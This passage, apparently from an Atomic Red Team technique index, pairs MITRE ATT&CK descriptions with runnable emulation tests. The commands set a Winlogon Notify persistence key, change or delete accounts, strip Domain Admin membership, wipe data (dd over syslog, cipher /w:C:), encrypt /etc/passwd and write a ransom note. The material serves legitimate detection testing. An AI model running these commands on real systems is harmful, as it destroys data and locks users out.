      description: |
        PowerShell code to set Winlogon Notify key to execute a notification package DLL at logon.

        Upon successful execution, PowerShell will modify a registry value to execute atomicNotificationPackage.dll upon logon/logoff.
      supported_platforms:
      - windows
      input_arguments:
        binary_to_execute:
          description: Path of notification package to execute
          type: Path
          default: C:\Windows\Temp\atomicNotificationPackage.dll
      executor:
        command: |
          New-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" -Force
          Set-ItemProperty "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" "logon" "#{binary_to_execute}" -Force
        cleanup_command: 'Remove-Item "HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"
          -Force -ErrorAction Ignore

'
        name: powershell
  T1547.013:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1547.013
        url: https://attack.mitre.org/techniques/T1547/013
      - description: Free Desktop. (2006, February 13). Desktop Application Autostart
          Specification. Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html
        source_name: Free Desktop Application Autostart Feb 2006
      - description: Free Desktop. (2017, December 24). Recognized Desktop Entry Keys.
          Retrieved September 12, 2019.
        url: https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html
        source_name: Free Desktop Entry Keys
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: XDG Autostart Entries
      description: |-
        Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the <code>/etc/xdg/autostart</code> or <code>~/.config/autostart</code> directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)

        Within an XDG autostart entry file, the <code>Type</code> key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The <code>Name</code> key indicates an arbitrary name assigned by the creator and the <code>Exec</code> key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)

        Adversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.
      id: attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-11-10T15:55:10.103Z'
      created: '2019-09-10T18:13:12.195Z'
      x_mitre_is_subtechnique: true
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      x_mitre_detection: "Malicious XDG autostart entries may be detected by auditing
        file creation and modification events within the <code>/etc/xdg/autostart</code>
        and <code>~/.config/autostart</code> directories. Depending on individual
        configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code>
        or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries.
        Autostart entry files not associated with legitimate packages may be considered
        suspicious. Suspicious entries can also be identified by comparing entries
        to a trusted system baseline.\n \nSuspicious processes or scripts spawned
        in this manner will have a parent process of the desktop component implementing
        the XDG specification and will execute as the logged on user."
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_platforms:
      - Linux
    atomic_tests: []
impact:
  T1531:
    technique:
      created: '2019-10-09T18:48:31.906Z'
      modified: '2020-07-14T19:15:29.911Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      type: attack-pattern
      id: attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0
      description: |-
        Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

        Adversaries may also subsequently log off and/or reboot boxes to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)
      name: Account Access Removal
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - url: https://attack.mitre.org/techniques/T1531
        source_name: mitre-attack
        external_id: T1531
      - description: CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat
          Intelligence Notification – LockerGoga Ransomware. Retrieved April 16, 2019.
        url: https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/
        source_name: CarbonBlack LockerGoga 2019
      - source_name: Unit42 LockerGoga 2019
        url: https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
        description: Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga.
          Retrieved April 16, 2019.
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'User Account: User Account Deletion'
      - 'User Account: User Account Modification'
      - 'Active Directory: Active Directory Object Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_impact_type:
      - Availability
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command line parameters of binaries involved in deleting accounts or changing passwords, such as use of [Net](https://attack.mitre.org/software/S0039). Windows event logs may also designate activity associated with an adversary's attempt to remove access to an account:

        * Event ID 4723 - An attempt was made to change an account's password
        * Event ID 4724 - An attempt was made to reset an account's password
        * Event ID 4726 - A user account was deleted
        * Event ID 4740 - A user account was locked out

        Alerting on [Net](https://attack.mitre.org/software/S0039) and these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.
      x_mitre_is_subtechnique: false
      identifier: T1531
    atomic_tests:
    - name: Change User Password - Windows
      auto_generated_guid: 1b99ef28-f83c-4ec5-8a08-1a56263a5bb2
      description: |
        Changes the user password to hinder access attempts. Seen in use by LockerGoga. Upon execution, log into the user account "AtomicAdministrator" with
        the password "HuHuHUHoHo283283".
      supported_platforms:
      - windows
      input_arguments:
        user_account:
          description: User account whose password will be changed.
          type: String
          default: AtomicAdministrator
        new_user_password:
          description: Password to use if user account must be created first
          type: String
          default: User2ChangePW!
        new_password:
          description: New password for the specified account.
          type: String
          default: HuHuHUHoHo283283@dJD
      executor:
        command: |
          net user #{user_account} #{new_user_password} /add
          net.exe user #{user_account} #{new_password}
        cleanup_command: 'net.exe user #{user_account} /delete >nul 2>&1

'
        name: command_prompt
        elevation_required: true
    - name: Delete User - Windows
      auto_generated_guid: f21a1d7d-a62f-442a-8c3a-2440d43b19e5
      description: 'Deletes a user account to prevent access. Upon execution, run
        the command "net user" to verify that the new "AtomicUser" account was deleted.

'
      supported_platforms:
      - windows
      input_arguments:
        new_user_password:
          description: Password to use if user account must be created first
          type: String
          default: User2DeletePW!
        user_account:
          description: User account to be deleted.
          type: String
          default: AtomicUser
      executor:
        command: |
          net user #{user_account} #{new_user_password} /add
          net.exe user #{user_account} /delete
        name: command_prompt
        elevation_required: true
    - name: Remove Account From Domain Admin Group
      auto_generated_guid: 43f71395-6c37-498e-ab17-897d814a0947
      description: 'This test will remove an account from the domain admins group

'
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Requires the Active Directory module for powershell to be installed.

'
        prereq_command: 'if(Get-Module -ListAvailable -Name ActiveDirectory) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"

'
      input_arguments:
        super_user:
          description: Account used to run the execution command (must include domain).
          type: String
          default: domain\super_user
        super_pass:
          description: super_user account password.
          type: String
          default: password
        remove_user:
          description: Account to remove from domain admins.
          type: String
          default: remove_user
      executor:
        command: |
          $PWord = ConvertTo-SecureString -String #{super_pass} -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{super_user}, $PWord
          if((Get-ADUser #{remove_user} -Properties memberof).memberof -like "CN=Domain Admins*"){
            Remove-ADGroupMember -Identity "Domain Admins" -Members #{remove_user} -Credential $Credential -Confirm:$False
          } else{
              write-host "Error - Make sure #{remove_user} is in the domain admins group" -foregroundcolor Red
          }
        name: powershell
        elevation_required: false
  T1499.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1499.003
        url: https://attack.mitre.org/techniques/T1499/003
      - source_name: Arbor AnnualDoSreport Jan 2018
        url: https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
        description: Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill
          Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight
          into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide
          Infrastructure Security Report. Retrieved April 22, 2019.
      - source_name: Cisco DoSdetectNetflow
        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
          Retrieved April 25, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application Exhaustion Flood
      description: 'Adversaries may target resource intensive features of web applications
        to cause a denial of service (DoS). Specific features in web applications
        may be highly resource intensive. Repeated requests to those features may
        be able to exhaust system resources and deny access to the application or
        the server itself. (Citation: Arbor AnnualDoSreport Jan 2018)'
      id: attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-29T16:08:52.118Z'
      created: '2020-02-20T15:35:00.025Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: |-
        Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.

        In addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
    atomic_tests: []
  T1499.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1499.004
        url: https://attack.mitre.org/techniques/T1499/004
      - source_name: Sucuri BIND9 August 2015
        url: https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html
        description: Cid, D.. (2015, August 2). BIND9 – Denial of Service Exploit
          in the Wild. Retrieved April 26, 2019.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Application or System Exploitation
      description: 'Adversaries may exploit software vulnerabilities that can cause
        an application or system to crash and deny availability to users. (Citation:
        Sucuri BIND9 August 2015) Some systems may automatically restart critical
        applications and services when crashes occur, but they can likely be re-exploited
        to cause a persistent DoS condition.'
      id: attack-pattern--2bee5ffb-7a7a-4119-b1f2-158151b19ac0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-03-29T16:09:41.559Z'
      created: '2020-02-20T15:37:27.052Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: Attacks targeting web applications may generate logs in the
        web server, application server, and/or database server that can be used to
        identify the type of attack. Externally monitor the availability of services
        that may be targeted by an Endpoint DoS.
      x_mitre_data_sources:
      - 'Sensor Health: Host Status'
      - 'Application Log: Application Log Content'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
    atomic_tests: []
  T1485:
    technique:
      created: '2019-03-14T18:47:17.701Z'
      modified: '2021-03-25T14:47:48.728Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1485
        url: https://attack.mitre.org/techniques/T1485
      - description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
          14, 2019.
        url: https://www.symantec.com/connect/blogs/shamoon-attacks
        source_name: Symantec Shamoon 2012
      - url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
        source_name: FireEye Shamoon Nov 2016
      - url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
          Wiper. Retrieved January 11, 2017.'
        source_name: Palo Alto Shamoon Nov 2016
      - source_name: Kaspersky StoneDrill 2017
        url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
      - description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
          Organization. Retrieved March 14, 2019.
        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
        source_name: Unit 42 Shamoon3 2018
      - source_name: Talos Olympic Destroyer 2018
        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
      - source_name: Data Destruction - Threat Post
        url: https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/
        description: Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code
          Spaces Out of Business. Retrieved December 15, 2020.
      - source_name: DOJ  - Cisco Insider
        url: https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network
        description: DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging
          Cisco’s Network. Retrieved December 15, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Data Destruction
      description: |-
        Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

        Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

        In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)
      id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\Windows\System32\</code>.

        In cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'File: File Deletion'
      - 'Image: Image Deletion'
      - 'Instance: Instance Deletion'
      - 'Snapshot: Snapshot Deletion'
      - 'Cloud Storage: Cloud Storage Deletion'
      - 'Volume: Volume Deletion'
      x_mitre_version: '1.1'
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_platforms:
      - Windows
      - IaaS
      - Linux
      - macOS
      x_mitre_is_subtechnique: false
      x_mitre_contributors:
      - Brent Murphy, Elastic
      - David French, Elastic
      - Syed Ummar Farooqh, McAfee
      - Prasad Somasamudram, McAfee
      - 'Sekhar Sarukkai, McAfee '
      - Varonis Threat Labs
      identifier: T1485
    atomic_tests:
    - name: Windows - Overwrite file with Sysinternals SDelete
      auto_generated_guid: 476419b5-aebf-4366-a131-ae3e8dae5fc2
      description: |
        Overwrites and deletes a file using Sysinternals SDelete. Upon successful execution, "Files deleted: 1" will be displayed in
        the powershell session along with other information about the file that was deleted.
      supported_platforms:
      - windows
      input_arguments:
        sdelete_exe:
          description: Path of sdelete executable
          type: Path
          default: "$env:TEMP\\Sdelete\\sdelete.exe"
        file_to_delete:
          description: Path of file to delete
          type: Path
          default: "$env:TEMP\\T1485.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Secure delete tool from Sysinternals must exist on disk at specified
          location (#{sdelete_exe})

'
        prereq_command: 'if (Test-Path #{sdelete_exe}) {exit 0} else {exit 1}

'
        get_prereq_command: |
          Invoke-WebRequest "https://download.sysinternals.com/files/SDelete.zip" -OutFile "$env:TEMP\SDelete.zip"
          Expand-Archive $env:TEMP\SDelete.zip $env:TEMP\Sdelete -Force
          Remove-Item $env:TEMP\SDelete.zip -Force
      executor:
        command: |
          if (-not (Test-Path #{file_to_delete})) { New-Item #{file_to_delete} -Force }
          Invoke-Expression -Command "#{sdelete_exe} -accepteula #{file_to_delete}"
        name: powershell
    - name: macOS/Linux - Overwrite file with DD
      auto_generated_guid: 38deee99-fd65-4031-bec8-bfa4f9f26146
      description: |
        Overwrites and deletes a file using DD.
        To stop the test, break the command with CTRL/CMD+C.
      supported_platforms:
      - linux
      - macos
      input_arguments:
        overwrite_source:
          description: Path of data source to overwrite with
          type: Path
          default: "/dev/zero"
        file_to_overwrite:
          description: Path of file to overwrite and remove
          type: Path
          default: "/var/log/syslog"
      executor:
        command: 'dd of=#{file_to_overwrite} if=#{overwrite_source} count=$(ls -l
          #{file_to_overwrite} | awk ''{print $5}'') iflag=count_bytes

'
        name: bash
    - name: Overwrite deleted data on C drive
      auto_generated_guid: 321fd25e-0007-417f-adec-33232252be19
      description: "RansomEXX malware removes all deleted files using windows built-in
        cipher.exe to prevent forensic recover.\nThis process is very slow and test
        execution may timeout. \nhttps://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware\nhttps://support.microsoft.com/en-us/topic/cipher-exe-security-tool-for-the-encrypting-file-system-56c85edd-85cf-ac07-f2f7-ca2d35dab7e4\n"
      supported_platforms:
      - windows
      executor:
        command: 'cipher.exe /w:C:

'
        name: command_prompt
  T1486:
    technique:
      id: attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0
      description: |-
        Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)

        To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)

        In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)
      name: Data Encrypted for Impact
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1486
        url: https://attack.mitre.org/techniques/T1486
      - source_name: US-CERT Ransomware 2016
        url: https://www.us-cert.gov/ncas/alerts/TA16-091A
        description: 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and
          Recent Variants. Retrieved March 15, 2019.'
      - source_name: FireEye WannaCry 2017
        url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
          Malware Profile. Retrieved March 15, 2019.
      - source_name: US-CERT NotPetya 2017
        url: https://www.us-cert.gov/ncas/alerts/TA17-181A
        description: 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware.
          Retrieved March 15, 2019.'
      - source_name: US-CERT SamSam 2018
        url: https://www.us-cert.gov/ncas/alerts/AA18-337A
        description: 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware.
          Retrieved March 15, 2019.'
      - source_name: Rhino S3 Ransomware Part 1
        url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
        description: 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved
          April 14, 2021.'
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: impact
      modified: '2021-04-20T16:39:06.594Z'
      created: '2019-03-15T13:59:30.390Z'
      x_mitre_contributors:
      - Oleg Kolesnikov, Securonix
      x_mitre_is_subtechnique: false
      x_mitre_impact_type:
      - Availability
      x_mitre_detection: |-
        Use process monitoring to monitor the execution and command line parameters of binaries involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit. Monitor for the creation of suspicious files as well as unusual file modification activity. In particular, look for large quantities of file modifications in user directories.

        In some cases, monitoring for unusual kernel driver installation activity can aid in detection.

        In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.
      x_mitre_data_sources:
      - 'Cloud Storage: Cloud Storage Metadata'
      - 'Cloud Storage: Cloud Storage Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - IaaS
      x_mitre_permissions_required:
      - User
      - Administrator
      - root
      - SYSTEM
      x_mitre_version: '1.1'
      identifier: T1486
    atomic_tests:
    - name: Encrypt files using gpg (Linux)
      auto_generated_guid: 7b8ce084-3922-4618-8d22-95f996173765
      description: 'Uses gpg to encrypt a file

'
      supported_platforms:
      - linux
      input_arguments:
        pwd_for_encrypted_file:
          description: the password that you want for the encrypted file
          type: String
          default: passwd
        encrypted_file_path:
          description: path to the encrypted file
          type: Path
          default: "/tmp/passwd.gpg"
        input_file_path:
          description: path to the file that you want to encrypt
          type: Path
          default: "/etc/passwd"
        encryption_alg:
          description: encryption algorithm of the file
          type: String
          default: AES-256
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where gpg is located

'
        prereq_command: 'which_gpg=`which gpg`

'
        get_prereq_command: "(which yum && yum -y epel-release gpg)||(which apt-get
          && DEBIAN_FRONTEND=noninteractive apt-get install -y gpg)\n"
      executor:
        name: bash
        elevation_required: false
        command: 'echo "#{pwd_for_encrypted_file}" | $which_gpg --batch --yes --passphrase-fd
          0 --cipher-algo #{encryption_alg} -o #{encrypted_file_path} -c #{input_file_path}

'
        cleanup_command: 'rm #{encrypted_file_path}

'
    - name: Encrypt files using 7z (Linux)
      auto_generated_guid: 53e6735a-4727-44cc-b35b-237682a151ad
      description: 'Uses 7z to encrypt a file

'
      supported_platforms:
      - linux
      input_arguments:
        pwd_for_encrypted_file:
          description: the password that you want for the encrypted file
          type: String
          default: passwd
        encrypted_file_path:
          description: path to the encrypted file
          type: Path
          default: "/tmp/passwd.zip"
        input_file_path:
          description: path to the file that you want to encrypt
          type: Path
          default: "/etc/passwd"
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where 7z is located

'
        prereq_command: 'which_7z=`which 7z`

'
        get_prereq_command: ''
      executor:
        name: bash
        elevation_required: false
        command: "$which_7z a -p#{pwd_for_encrypted_file} #{encrypted_file_path} #{input_file_path}\n"
        cleanup_command: |
          $which_7z e #{encrypted_file_path}
          rm #{encrypted_file_path}
    - name: Encrypt files using ccrypt (Linux)
      auto_generated_guid: '08cbf59f-85da-4369-a5f4-049cffd7709f'
      description: 'Attempts to encrypt data on target systems as root to simulate
        an inturruption authentication to target system. If root permissions are not
        available then attempts to encrypt data within user''s home directory.

'
      supported_platforms:
      - linux
      input_arguments:
        cped_file_path:
          description: path where you want your copied file to be
          type: Path
          default: "/tmp/passwd"
        root_input_file_path:
          description: path to the file that you want to be encrypted if you are root
            user
          type: Path
          default: "/etc/passwd"
        user_input_file_path:
          description: path to file that you want to be encrypted if you are normal
            user
          type: Path
          default: "~/.bash_history"
        impact_command:
          description: command to show impact of encryption
          type: String
          default: sudo su
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where ccencrypt and ccdecrypt is located and copies input
          file

'
        prereq_command: |
          which_ccencrypt=`which ccencrypt`
          which_ccdecrypt=`which ccdecrypt`
          if [[ $USER == "root" ]]; then cp #{root_input_file_path} #{cped_file_path}; else cp #{user_input_file_path} #{cped_file_path}; fi
        get_prereq_command: "(which yum && yum -y epel-release ccrypt)||(which apt-get
          && DEBIAN_FRONTEND=noninteractive apt-get install -y ccrypt)\n"
      executor:
        name: bash
        elevation_required: false
        command: 'if [[ $USER == "root" ]]; then $which_ccencrypt #{root_input_file_path};
          file #{root_input_file_path}.cpt; #{impact_command}; else $which_ccencrypt
          #{user_input_file_path}; file #{user_input_file_path}.cpt; #{impact_command};
          fi

'
        cleanup_command: "if [[ $USER == \"root\" ]]; then mv #{cped_file_path} #{root_input_file_path};
          else cp #{cped_file_path} #{user_input_file_path}; fi \n"
    - name: Encrypt files using openssl (Linux)
      auto_generated_guid: 142752dc-ca71-443b-9359-cf6f497315f1
      description: 'Uses openssl to encrypt a file

'
      supported_platforms:
      - linux
      input_arguments:
        private_key_path:
          description: path to the private key
          type: Path
          default: "/tmp/key.pem"
        public_key_path:
          description: path to the public key
          type: Path
          default: "/tmp/pub.pem"
        encryption_bit_size:
          description: size of the bit of encryption
          type: Integer
          default: 2048
        encrypted_file_path:
          description: path to the encrypted file
          type: Path
          default: "/tmp/passwd.zip"
        input_file_path:
          description: path to the file that you want to encrypt
          type: Path
          default: "/etc/passwd"
      dependency_executor_name: bash
      dependencies:
      - description: 'Finds where openssl is located

'
        prereq_command: 'which_openssl=`which openssl`

'
        get_prereq_command: ''
      executor:
        name: bash
        elevation_required: false
        command: |
          $which_openssl genrsa -out #{private_key_path} #{encryption_bit_size}
          $which_openssl rsa -in #{private_key_path} -pubout -out #{public_key_path}
          $which_openssl rsautl -encrypt -inkey #{public_key_path} -pubin -in #{input_file_path} -out #{encrypted_file_path}
        cleanup_command: |
          $which_openssl rsautl -decrypt -inkey #{private_key_path} -in #{encrypted_file_path}
          rm #{encrypted_file_path}
    - name: PureLocker Ransom Note
      auto_generated_guid: 649349c7-9abf-493b-a7a2-b1aa4d141528
      description: "building the IOC (YOUR_FILES.txt) for the PureLocker ransomware
        \nhttps://www.bleepingcomputer.com/news/security/purelocker-ransomware-can-lock-files-on-windows-linux-and-macos/\n"
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: true
        command: 'echo T1486 - Purelocker Ransom Note > %USERPROFILE%\Desktop\YOUR_FILES.txt

'
